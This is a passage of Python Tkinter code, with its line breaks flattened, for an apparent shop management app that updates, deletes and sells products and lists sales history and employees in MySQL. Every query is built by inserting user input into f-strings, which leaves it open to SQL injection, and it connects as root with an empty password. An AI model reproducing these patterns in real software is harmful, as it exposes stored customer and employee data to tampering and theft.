Entry(self.content_frame, text='Product Name', width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') product_name_edit.place(x=281, y=184) product_id_edit = Entry(self.content_frame, text='Product ID', width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') product_id_edit.place(x=281, y=245) purchase_price_edit = Entry(self.content_frame, text='Purchase Price', width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') purchase_price_edit.place(x=281, y=307) product_category_edit = Entry(self.content_frame, text='Product Category', width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') product_category_edit.place(x=281, y=369) dop_edit = Entry(self.content_frame, text='Date Of Purchase', width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') dop_edit.place(x=281, y=432) add_product_button = Button(self.content_frame, cursor='hand2', image=self.add_products_button_image, borderwidth=0, activebackground='#292B37', font=('Arial Rounded MT', 10), bg='#292B37', command=add) add_product_button.place(x=722, y=523) alert_label = Label(self.content_frame, width=30, height=2, text='Sorry, Invalid input..', font=('Arial Rounded MT', 10, 'bold'), bg='#292B37', fg='#292B37') alert_label.place(x=106, y=523) product_name_edit.delete(0, 'end') product_id_edit.delete(0, 'end') purchase_price_edit.delete(0, 'end') product_category_edit.delete(0, 'end') dop_edit.delete(0, 'end') def update_products_button_clicked(): self.dashboard_button.config(bg='#292B37') self.show_products_button.config(bg='#292B37') self.add_products_button.config(bg='#292B37') self.update_products_button.config(bg='#3C3F4A') self.delete_products_button.config(bg='#292B37') self.sales_button.config(bg='#292B37') self.selling_history_button.config(bg='#292B37') self.show_employees_button.config(bg='#292B37') self.add_employees_button.config(bg='#292B37') self.update_employees_button.config(bg='#292B37') self.delete_employees_button.config(bg='#292B37') def search(): def disappear_alert_label(): try: alert_label.config(bg='#292B37', fg='#292B37') except Exception as e: pass def update(): product_name = product_name_edit.get() product_id = product_id_edit.get() purchase_price = purchase_price_edit.get() product_category = product_category_edit.get() dop = dop_edit.get() if searched_product_id != product_id: alert_label.config(text='Oops! Invalid input..', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) elif product_name == '' or product_id == '' or purchase_price == '' or product_category == '' or dop == '': alert_label.config(text='Fill up all the fields', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'UPDATE product SET Product_Name = "{product_name}", Product_Category = "{product_category}", Price = {float(purchase_price)}, DOP = "{dop}" WHERE Product_ID = "{searched_product_id}";' my_cursor.execute(query) db.commit() db.close() for widget in self.update_content_frame.winfo_children(): widget.destroy() search_edit.delete(0, 'end') alert_label.config(text='Successfully updated the product', bg='#2FA422', fg='white') self.content_frame.after(1500, disappear_alert_label) except Exception as e: alert_label.config(text='Sorry! Unable to update', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) searched_product_id = search_edit.get() if searched_product_id == '': alert_label.config(text='Enter a product ID', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: for widget in self.update_content_frame.winfo_children(): widget.destroy() try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'SELECT * FROM product WHERE Product_ID = "{searched_product_id}"' my_cursor.execute(query) product = my_cursor.fetchall() if len(product) == 0: alert_label.config(text='Product doesn\'t exists', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: product_id = product[0][0] product_name = product[0][1] product_category = product[0][2] purchase_price = product[0][3] dop = product[0][4] update_product_content_label = Label(self.update_content_frame, image=self.update_content_image, bd=0) update_product_content_label.place(x=230, y=24) product_name_label = Label(self.update_content_frame, text='Product Name', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') product_name_label.place(x=106, y=46) product_id_label = Label(self.update_content_frame, text='Product ID', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') product_id_label.place(x=106, y=111) purchase_price_label = Label(self.update_content_frame, text='Purchase Price', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') purchase_price_label.place(x=106, y=177) product_category_label = Label(self.update_content_frame, text='Product Category', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') product_category_label.place(x=106, y=243) dop_label = Label(self.update_content_frame, text='Date Of Purchase', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') dop_label.place(x=106, y=309) product_name_edit = Entry(self.update_content_frame, text='Product Name', width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') product_name_edit.place(x=281, y=46) product_id_edit = Entry(self.update_content_frame, text='Product ID', width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') product_id_edit.place(x=281, y=111) purchase_price_edit = Entry(self.update_content_frame, text='Purchase Price', width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') purchase_price_edit.place(x=281, y=177) product_category_edit = Entry(self.update_content_frame, text='Product Category', width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') product_category_edit.place(x=281, y=243) dop_edit = Entry(self.update_content_frame, text='Date Of Purchase', width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') dop_edit.place(x=281, y=309) product_name_edit.delete(0, 'end') product_id_edit.delete(0, 'end') purchase_price_edit.delete(0, 'end') product_category_edit.delete(0, 'end') dop_edit.delete(0, 'end') product_name_edit.insert(0, product_name) product_id_edit.insert(0, product_id) purchase_price_edit.insert(0, purchase_price) product_category_edit.insert(0, product_category) dop_edit.insert(0, dop) update_button = Button(self.update_content_frame, cursor='hand2', image=self.update_button_image, borderwidth=0, activebackground='#292B37', font=('Arial Rounded MT', 10), bg='#292B37', command=update) update_button.place(x=723, y=370) except Exception as e: alert_label.config(text='Sorry! Something went wrong..', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) for widget in self.content_frame.winfo_children(): widget.destroy() self.update_products_bg_label = Label(self.content_frame, image=self.update_product_bg_image) self.update_products_bg_label.place(x=-2, y=-2) update_product_label = Label(self.content_frame, text='UPDATE PRODUCT', font=('Arial Rounded MT', 14, 'bold'), bg='#292B37', fg='#BBBBBB') update_product_label.place(x=50, y=50) product_id_search_label = Label(self.content_frame, text='Product ID', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') product_id_search_label.place(x=160, y=116) search_edit = Entry(self.content_frame, width=60, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') search_edit.place(x=270, y=116) search_edit.delete(0, 'end') search_button = Button(self.content_frame, cursor='hand2', image=self.search_button_image, borderwidth=0, activebackground='#292B37', font=('Arial Rounded MT', 10), bg='#292B37', command=search) search_button.place(x=776, y=105) self.update_content_frame = Frame(self.content_frame, width=980, height=470, bg='#292B37') # bg='#292B37' self.update_content_frame.place(x=0, y=161) alert_label = Label(self.content_frame, width=32, height=2, text='Sorry, Invalid input..', font=('Arial Rounded MT', 10, 'bold'), bg='#292B37', fg='#292B37') alert_label.place(x=90, y=530) def delete_products_button_clicked(): self.dashboard_button.config(bg='#292B37') self.show_products_button.config(bg='#292B37') self.add_products_button.config(bg='#292B37') self.update_products_button.config(bg='#292B37') self.delete_products_button.config(bg='#3C3F4A') self.sales_button.config(bg='#292B37') self.selling_history_button.config(bg='#292B37') self.show_employees_button.config(bg='#292B37') self.add_employees_button.config(bg='#292B37') self.update_employees_button.config(bg='#292B37') self.delete_employees_button.config(bg='#292B37') def search(): def disappear_alert_label(): try: alert_label.config(bg='#292B37', fg='#292B37') except Exception as e: pass def delete(): user_response = messagebox.askokcancel('Confirm Deletion', 'Do you want to delete the product ?') if user_response: try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'DELETE FROM product WHERE Product_ID = "{searched_product_id}";' my_cursor.execute(query) db.commit() db.close() for widget in self.delete_content_frame.winfo_children(): widget.destroy() search_edit.delete(0, 'end') alert_label.config(text='Successfully deleted the product', bg='#2FA422', fg='white') self.content_frame.after(1500, disappear_alert_label) except Exception as e: alert_label.config(text='Sorry! Unable to delete', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: pass searched_product_id = search_edit.get() if searched_product_id == '': alert_label.config(text='Enter a product ID', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: for widget in self.delete_content_frame.winfo_children(): widget.destroy() try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'SELECT * FROM product WHERE Product_ID = "{searched_product_id}"' my_cursor.execute(query) product = my_cursor.fetchall() if len(product) == 0: alert_label.config(text='Product doesn\'t exists', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: product_id = product[0][0] product_name = product[0][1] product_category = product[0][2] purchase_price = product[0][3] dop = product[0][4] product_name_label = Label(self.delete_content_frame, text='Product Name', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') product_name_label.place(x=106, y=46) product_id_label = Label(self.delete_content_frame, text='Product ID', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') product_id_label.place(x=106, y=111) purchase_price_label = Label(self.delete_content_frame, text='Purchase Price', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') purchase_price_label.place(x=106, y=177) product_category_label = Label(self.delete_content_frame, text='Product Category', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') product_category_label.place(x=106, y=243) dop_label = Label(self.delete_content_frame, text='Date Of Purchase', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') dop_label.place(x=106, y=309) product_name_label1 = Label(self.delete_content_frame, text=f'{product_name}', anchor='w', width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', borderwidth=0, fg='white') product_name_label1.place(x=281, y=46) product_id_label1 = Label(self.delete_content_frame, text=f'{product_id}', anchor='w', width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', borderwidth=0, fg='white') product_id_label1.place(x=281, y=111) purchase_price_label1 = Label(self.delete_content_frame, text=f'{purchase_price}', anchor='w', width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', borderwidth=0, fg='white') purchase_price_label1.place(x=281, y=177) product_category_label1 = Label(self.delete_content_frame, text=f'{product_category}', anchor='w', width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', borderwidth=0, fg='white') product_category_label1.place(x=281, y=243) dop_label1 = Label(self.delete_content_frame, text=f'{dop}', anchor='w', width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', borderwidth=0, fg='white') dop_label1.place(x=281, y=309) delete_button = Button(self.delete_content_frame, cursor='hand2', image=self.delete_button_image, borderwidth=0, activebackground='#292B37', font=('Arial Rounded MT', 10), bg='#292B37', command=delete) delete_button.place(x=723, y=370) except Exception as e: alert_label.config(text='Sorry! Something went wrong..', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) for widget in self.content_frame.winfo_children(): widget.destroy() self.delete_products_bg_label = Label(self.content_frame, image=self.update_product_bg_image) self.delete_products_bg_label.place(x=-2, y=-2) delete_product_label = Label(self.content_frame, text='DELETE PRODUCT', font=('Arial Rounded MT', 14, 'bold'), bg='#292B37', fg='#BBBBBB') delete_product_label.place(x=50, y=50) product_id_search_label = Label(self.content_frame, text='Product ID', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') product_id_search_label.place(x=160, y=116) search_edit = Entry(self.content_frame, width=60, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') search_edit.place(x=270, y=116) search_edit.delete(0, 'end') search_button = Button(self.content_frame, cursor='hand2', image=self.search_button_image, borderwidth=0, activebackground='#292B37', font=('Arial Rounded MT', 10), bg='#292B37', command=search) search_button.place(x=776, y=105) self.delete_content_frame = Frame(self.content_frame, width=980, height=470, bg='#292B37') # bg='#292B37' self.delete_content_frame.place(x=0, y=161) alert_label = Label(self.content_frame, width=32, height=2, text='Sorry, Invalid input..', font=('Arial Rounded MT', 10, 'bold'), bg='#292B37', fg='#292B37') alert_label.place(x=90, y=530) def sales_button_clicked(): self.dashboard_button.config(bg='#292B37') self.show_products_button.config(bg='#292B37') self.add_products_button.config(bg='#292B37') self.update_products_button.config(bg='#292B37') self.delete_products_button.config(bg='#292B37') self.sales_button.config(bg='#3C3F4A') self.selling_history_button.config(bg='#292B37') self.show_employees_button.config(bg='#292B37') self.add_employees_button.config(bg='#292B37') self.update_employees_button.config(bg='#292B37') self.delete_employees_button.config(bg='#292B37') def sale(): def disappear_alert_label(): try: alert_label.config(bg='#292B37', fg='#292B37') except Exception as e: pass product_name = product_name_entry.get() product_id = product_id_entry.get() selling_price = selling_price_entry.get() product_category = product_category_entry.get() dos = dos_entry.get() customer_name = customer_name_entry.get() phone = phone_entry.get() email = email_entry.get() address = address_entry.get() if product_name == '' or product_id == '' or selling_price == '' or product_category == '' or dos == '' or customer_name == '' or phone == '' or email == '' or address == '': alert_label.config(text='Fill up all the fields..', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'SELECT * FROM product WHERE Product_ID = "{product_id}"' my_cursor.execute(query) product = my_cursor.fetchall() if len(product) == 0: alert_label.config(text='Oops! Product not available', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: query = f'SELECT * FROM customer WHERE Phone_Number = "{phone}"' my_cursor.execute(query) customer = my_cursor.fetchall() if len(customer) == 0: query = f'INSERT INTO customer (Full_Name, Email, Phone_Number, Address) VALUE ("{customer_name}", "{email}", "{phone}", "{address}");' my_cursor.execute(query) db.commit() query = f'SELECT Customer_ID FROM customer WHERE Phone_Number = "{phone}";' my_cursor.execute(query) customer_id = my_cursor.fetchall()[0][0] query = f'SELECT Price FROM product WHERE Product_ID = "{product_id}";' my_cursor.execute(query) purchase_price = my_cursor.fetchone()[0] query = f'INSERT INTO Sell (Customer_ID, Product_ID, Product_Name, Product_Category, Purchase_Price, Selling_Price, DOS) Value ({int(customer_id)}, "{product_id}", "{product_name}", "{product_category}", {float(purchase_price)}, {float(selling_price)}, "{dos}");' my_cursor.execute(query) db.commit() query = f'DELETE FROM product WHERE Product_ID = "{product_id}"' my_cursor.execute(query) db.commit() alert_label.config(text='Product has been sold..', bg='#2FA422', fg='white') self.content_frame.after(1500, disappear_alert_label) else: query = f'UPDATE customer SET Full_Name = "{customer_name}", Email= "{email}", Address="{address}" WHERE Phone_Number = "{phone}";' my_cursor.execute(query) db.commit() query = f'SELECT Customer_ID FROM customer WHERE Phone_Number = "{phone}";' my_cursor.execute(query) customer_id = my_cursor.fetchall()[0][0] query = f'SELECT Price FROM product WHERE Product_ID = "{product_id}";' my_cursor.execute(query) purchase_price = my_cursor.fetchone()[0] query = f'INSERT INTO Sell (Customer_ID, Product_ID, Product_Name, Product_Category, Purchase_Price, Selling_Price, DOS) Value ({int(customer_id)}, "{product_id}", "{product_name}", "{product_category}", {float(purchase_price)}, {float(selling_price)}, "{dos}");' my_cursor.execute(query) db.commit() query = f'DELETE FROM product WHERE Product_ID = "{product_id}"' my_cursor.execute(query) db.commit() alert_label.config(text='Product has been sold..', bg='#2FA422', fg='white') self.content_frame.after(1500, disappear_alert_label) product_id_entry.delete(0, 'end') product_name_entry.delete(0, 'end') selling_price_entry.delete(0, 'end') product_category_entry.delete(0, 'end') dos_entry.delete(0, 'end') customer_name_entry.delete(0, 'end') phone_entry.delete(0, 'end') email_entry.delete(0, 'end') address_entry.delete(0, 'end') except Exception as e: alert_label.config(text='Oops! Something went wrong..', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) def search(): def disappear_alert_label(): try: alert_label.config(bg='#292B37', fg='#292B37') except Exception as e: pass searched_product_id = product_id_entry.get() if searched_product_id == '': alert_label.config(text='Enter a product id..', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'SELECT * FROM product WHERE Product_ID = "{searched_product_id}"' my_cursor.execute(query) product = my_cursor.fetchall() if len(product) == 0: product_name_entry.delete(0, 'end') product_category_entry.delete(0, 'end') alert_label.config(text='Oops! Product not available', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: product_name_entry.delete(0, 'end') product_category_entry.delete(0, 'end') product_name_entry.insert(0, product[0][1]) product_category_entry.insert(0, product[0][2]) except Exception as e: alert_label.config(text='Sorry! Unable to load data..', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) for widget in self.content_frame.winfo_children(): widget.destroy() sales_bg_label = Label(self.content_frame, image=self.sales_bg_image) sales_bg_label.place(x=-2, y=-2) sales_label = Label(self.content_frame, text='SALES', font=('Arial Rounded MT', 14, 'bold'), bg='#292B37', fg='#BBBBBB') sales_label.place(x=50, y=40) product_details_label = Label(self.content_frame, text='PRODUCT DETAILS', font=('Arial Rounded MT', 12, 'bold'), bg='#333646', fg='#BBBBBB') product_details_label.place(x=65, y=101) product_id_label = Label(self.content_frame, text='Product ID', font=('Arial Rounded MT', 11, 'bold'), bg='#333646', fg='white') product_id_label.place(x=96, y=145) product_name_label = Label(self.content_frame, text='Product Name', font=('Arial Rounded MT', 11, 'bold'), bg='#333646', fg='white') product_name_label.place(x=96, y=182) selling_price_label = Label(self.content_frame, text='Selling Price', font=('Arial Rounded MT', 11, 'bold'), bg='#333646', fg='white') selling_price_label.place(x=96, y=220) product_category_label = Label(self.content_frame, text='Product Category', font=('Arial Rounded MT', 11, 'bold'), bg='#333646', fg='white') product_category_label.place(x=96, y=257) dos_label = Label(self.content_frame, text='Date Of Sell', font=('Arial Rounded MT', 11, 'bold'), bg='#333646', fg='white') dos_label.place(x=96, y=294) customer_details_label = Label(self.content_frame, text='CUSTOMER DETAILS', font=('Arial Rounded MT', 12, 'bold'), bg='#333646', fg='#BBBBBB') customer_details_label.place(x=65, y=345) customer_name_label = Label(self.content_frame, text='Customer Name', font=('Arial Rounded MT', 11, 'bold'), bg='#333646', fg='white') customer_name_label.place(x=96, y=388) phone_label = Label(self.content_frame, text='Phone Number', font=('Arial Rounded MT', 11, 'bold'), bg='#333646', fg='white') phone_label.place(x=96, y=425) email_label = Label(self.content_frame, text='E-mail', font=('Arial Rounded MT', 11, 'bold'), bg='#333646', fg='white') email_label.place(x=96, y=462) address_label = Label(self.content_frame, text='Address', font=('Arial Rounded MT', 11, 'bold'), bg='#333646', fg='white') address_label.place(x=96, y=499) product_id_entry = Entry(self.content_frame, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', fg='white', borderwidth=0, width=56) product_id_entry.place(x=247, y=150) product_name_entry = Entry(self.content_frame, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', fg='white', borderwidth=0, width=56) product_name_entry.place(x=247, y=186) selling_price_entry = Entry(self.content_frame, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', fg='white', borderwidth=0, width=56) selling_price_entry.place(x=247, y=222) product_category_entry = Entry(self.content_frame, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', fg='white', borderwidth=0, width=56) product_category_entry.place(x=247, y=258) dos_entry = Entry(self.content_frame, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', fg='white', borderwidth=0, width=56) dos_entry.place(x=247, y=294) customer_name_entry = Entry(self.content_frame, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', fg='white', borderwidth=0, width=56) customer_name_entry.place(x=247, y=391) phone_entry = Entry(self.content_frame, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', fg='white', borderwidth=0, width=56) phone_entry.place(x=247, y=427) email_entry = Entry(self.content_frame, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', fg='white', borderwidth=0, width=56) email_entry.place(x=247, y=463) address_entry = Entry(self.content_frame, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', fg='white', borderwidth=0, width=56) address_entry.place(x=247, y=499) search_button = Button(self.content_frame, cursor='hand2', image=self.search_button_icon_image, borderwidth=0, activebackground='#686972', bg='#686972', command=search) search_button.place(x=677, y=150) ok_button = Button(self.content_frame, cursor='hand2', image=self.ok_button_image, borderwidth=0, activebackground='#292B37', bg='#292B37', command=sale) ok_button.place(x=675, y=565) alert_label = Label(self.content_frame, width=32, height=2, text='Sorry, Invalid input..', font=('Arial Rounded MT', 10, 'bold'), bg='#292B37', fg='#292B37') alert_label.place(x=90, y=565) def selling_history_button_clicked(): self.dashboard_button.config(bg='#292B37') self.show_products_button.config(bg='#292B37') self.add_products_button.config(bg='#292B37') self.update_products_button.config(bg='#292B37') self.delete_products_button.config(bg='#292B37') self.sales_button.config(bg='#292B37') self.selling_history_button.config(bg='#3C3F4A') self.show_employees_button.config(bg='#292B37') self.add_employees_button.config(bg='#292B37') self.update_employees_button.config(bg='#292B37') self.delete_employees_button.config(bg='#292B37') for widget in self.content_frame.winfo_children(): widget.destroy() def bound_to_mousewheel(event): showall_canvas.bind_all("<MouseWheel>", on_mousewheel) def unbound_to_mousewheel(event): showall_canvas.unbind_all("<MouseWheel>") def on_mousewheel(event): showall_canvas.yview_scroll(int(-1 * (event.delta / 120)), "units") temp_frame = Frame(self.content_frame, width=960, height=514, bg='#292B37', border=None) temp_frame.place(x=2, y=115) showall_canvas = Canvas(temp_frame, width=960, height=514, bg='#292B37') vertical_bar = ttk.Scrollbar(temp_frame, orient='vertical', command=showall_canvas.yview) vertical_bar.pack(side=RIGHT, fill='y') showall_canvas.config(yscrollcommand=vertical_bar.set) final_frame = Frame(temp_frame, width=960, height=514, bg='#292B37') showall_canvas.create_window((0, 0), window=final_frame, anchor='nw') showall_canvas.bind('<Configure>', lambda e: showall_canvas.configure(scrollregion=showall_canvas.bbox('all'))) final_frame.bind('<Enter>', bound_to_mousewheel) final_frame.bind('<Leave>', unbound_to_mousewheel) border_hide_frame1 = Frame(self.content_frame, bg='#292B37', height=7, width=958) border_hide_frame1.place(x=6, y=111) border_hide_frame2 = Frame(self.content_frame, bg='#292B37', height=638, width=7) border_hide_frame2.place(x=-1, y=111) border_hide_frame3 = Frame(self.content_frame, bg='#292B37', height=519, width=7) border_hide_frame3.place(x=959, y=112) showall_canvas.config(yscrollcommand=vertical_bar.set) showall_canvas.pack(side=LEFT, expand=True, fill=BOTH) selling_history_bg_frame = Frame(self.content_frame, bg='#292B37', height=107, width=958) selling_history_bg_frame.place(x=2, y=9) selling_history_bg_label = Label(selling_history_bg_frame, image=self.show_employees_bg_image, bg='#292B37') selling_history_bg_label.place(x=-2, y=-2) selling_history_label = Label(selling_history_bg_frame, text='SELLING HISTORY', font=('Arial Rounded MT', 14, 'bold'), bg='#292B37', fg='#BBBBBB') selling_history_label.place(x=50, y=40) try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'SELECT Sell.Product_ID, sell.Product_Name, Sell.Product_Category, Sell.Purchase_Price, Sell.Selling_Price, Sell.DOS, Customer.Full_Name, Customer.Phone_Number, Customer.Email, Customer.Address FROM Sell, Customer WHERE sell.Customer_ID = customer.Customer_ID' my_cursor.execute(query) sells = my_cursor.fetchall() for i in range(len(sells)): employee_frame = Frame(final_frame, bg='#292B37', height=393, width=958) employee_frame_bg_label = Label(employee_frame, image=self.selling_history_bg_image, bg='#292B37') employee_frame_bg_label.place(x=-2, y=-2) selling_details_label = Label(employee_frame, text='Selling Details', font=('Arial Rounded MT', 14, 'bold'), bg='#50515B', fg='#BBBBBB') selling_details_label.place(x=51, y=27) product_name_label = Label(employee_frame, text=sells[i][1], font=('Arial Rounded MT', 16, 'bold'), bg='#50515B', fg='white') product_name_label.place(x=82, y=70) selling_price_label = Label(employee_frame, text='$ ' + str(sells[i][4]), font=('Arial Rounded MT', 10, 'bold'), bg='#50515B', fg='white') selling_price_label.place(x=82, y=96) product_id_label = Label(employee_frame, text=f'Product ID : {sells[i][0]}', font=('Arial Rounded MT', 11, 'bold'), bg='#50515B', fg='white') product_id_label.place(x=82, y=123) product_category_label = Label(employee_frame, text=f'Category : {sells[i][2]}', font=('Arial Rounded MT', 11, 'bold'), bg='#50515B', fg='white') product_category_label.place(x=82, y=152) date_of_sell_label = Label(employee_frame, text=f'Date of Sale : {sells[i][5]}', font=('Arial Rounded MT', 11, 'bold'), bg='#50515B', fg='white') date_of_sell_label.place(x=82, y=181) profit_label = Label(employee_frame, text=f'Profit : {sells[i][4] - sells[i][3]}', font=('Arial Rounded MT', 11, 'bold'), bg='#50515B', fg='white') profit_label.place(x=82, y=210) customer_name_label = Label(employee_frame, text=f'Customer Name : {sells[i][6]}', font=('Arial Rounded MT', 11, 'bold'), bg='#50515B', fg='white') customer_name_label.place(x=82, y=250) phone_label = Label(employee_frame, text=f'Phone Number : {sells[i][7]}', font=('Arial Rounded MT', 11, 'bold'), bg='#50515B', fg='white') phone_label.place(x=82, y=278) email_label = Label(employee_frame, text=f'E-mail : {sells[i][8]}', font=('Arial Rounded MT', 11, 'bold'), bg='#50515B', fg='white') email_label.place(x=82, y=306) address_label = Label(employee_frame, text=f'Address : {sells[i][9]}', font=('Arial Rounded MT', 11, 'bold'), bg='#50515B', fg='white') address_label.place(x=82, y=335) employee_frame.pack() except Exception as e: print(e) def show_employees_button_clicked(): self.dashboard_button.config(bg='#292B37') self.show_products_button.config(bg='#292B37') self.add_products_button.config(bg='#292B37') self.update_products_button.config(bg='#292B37') self.delete_products_button.config(bg='#292B37') self.sales_button.config(bg='#292B37') self.selling_history_button.config(bg='#292B37') self.show_employees_button.config(bg='#3C3F4A') self.add_employees_button.config(bg='#292B37') self.update_employees_button.config(bg='#292B37') self.delete_employees_button.config(bg='#292B37') for widget in self.content_frame.winfo_children(): widget.destroy() def bound_to_mousewheel(event): showall_canvas.bind_all("<MouseWheel>", on_mousewheel) def unbound_to_mousewheel(event): showall_canvas.unbind_all("<MouseWheel>") def on_mousewheel(event): showall_canvas.yview_scroll(int(-1 * (event.delta / 120)), "units") temp_frame = Frame(self.content_frame, width=960, height=514, bg='#292B37', border=None) temp_frame.place(x=2, y=115) showall_canvas = Canvas(temp_frame, width=960, height=514, bg='#292B37') vertical_bar = ttk.Scrollbar(temp_frame, orient='vertical', command=showall_canvas.yview) vertical_bar.pack(side=RIGHT, fill='y') showall_canvas.config(yscrollcommand=vertical_bar.set) final_frame = Frame(temp_frame, width=960, height=514, bg='#292B37') showall_canvas.create_window((0, 0), window=final_frame, anchor='nw') showall_canvas.bind('<Configure>', lambda e: showall_canvas.configure(scrollregion=showall_canvas.bbox('all'))) final_frame.bind('<Enter>', bound_to_mousewheel) final_frame.bind('<Leave>', unbound_to_mousewheel) border_hide_frame1 = Frame(self.content_frame, bg='#292B37', height=7, width=958) border_hide_frame1.place(x=6, y=111) border_hide_frame2 = Frame(self.content_frame, bg='#292B37', height=638, width=7) border_hide_frame2.place(x=-1, y=111) border_hide_frame3 = Frame(self.content_frame, bg='#292B37', height=519, width=7) border_hide_frame3.place(x=959, y=112) showall_canvas.config(yscrollcommand=vertical_bar.set) showall_canvas.pack(side=LEFT, expand=True, fill=BOTH) show_employees_bg_frame = Frame(self.content_frame, bg='#292B37', height=107, width=958) show_employees_bg_frame.place(x=2, y=9) show_employees_bg_label = Label(show_employees_bg_frame, image=self.show_employees_bg_image, bg='#292B37') show_employees_bg_label.place(x=-2, y=-2) show_employees_label = Label(show_employees_bg_frame, text='SHOW EMPLOYEE INFORMATION', font=('Arial Rounded MT', 14, 'bold'), bg='#292B37', fg='#BBBBBB') show_employees_label.place(x=50, y=40) try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'SELECT * FROM user_table WHERE NOT Designation = "Owner"' my_cursor.execute(query) employees = my_cursor.fetchall() for i in range(len(employees)): employee_frame = Frame(final_frame, bg='#292B37', height=340, width=958) employee_frame_bg_label = Label(employee_frame, image=self.show_employee_bg_image, bg='#292B37') employee_frame_bg_label.place(x=-2, y=-2) fullname_label = Label(employee_frame, text=employees[i][0], font=('Arial Rounded MT', 20, 'bold'), bg='#292B37', fg='white') fullname_label.place(x=58, y=22) designation_label = Label(employee_frame, text=employees[i][5], font=('Arial Rounded MT', 15, 'bold'), bg='#292B37', fg='white') designation_label.place(x=58, y=72) username_label = Label(employee_frame, text=f'Username : {employees[i][6]}', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') username_label.place(x=58, y=126) salary_label = Label(employee_frame, text=f'Salary : {employees[i][8]} $', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') salary_label.place(x=58, y=162) phone_label = Label(employee_frame, text=f'Phone Number : {employees[i][2]}', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') phone_label.place(x=58, y=198) email_label = Label(employee_frame, text=f'E-mail : {employees[i][1]}', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') email_label.place(x=58, y=234) address_label = Label(employee_frame, text=f'Address : {employees[i][3]}', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') address_label.place(x=58, y=270) employee_frame.pack() except Exception as e: print(e) def add_employees_button_clicked(): self.dashboard_button.config(bg='#292B37') self.show_products_button.config(bg='#292B37') self.add_products_button.config(bg='#292B37') self.update_products_button.config(bg='#292B37') self.delete_products_button.config(bg='#292B37') 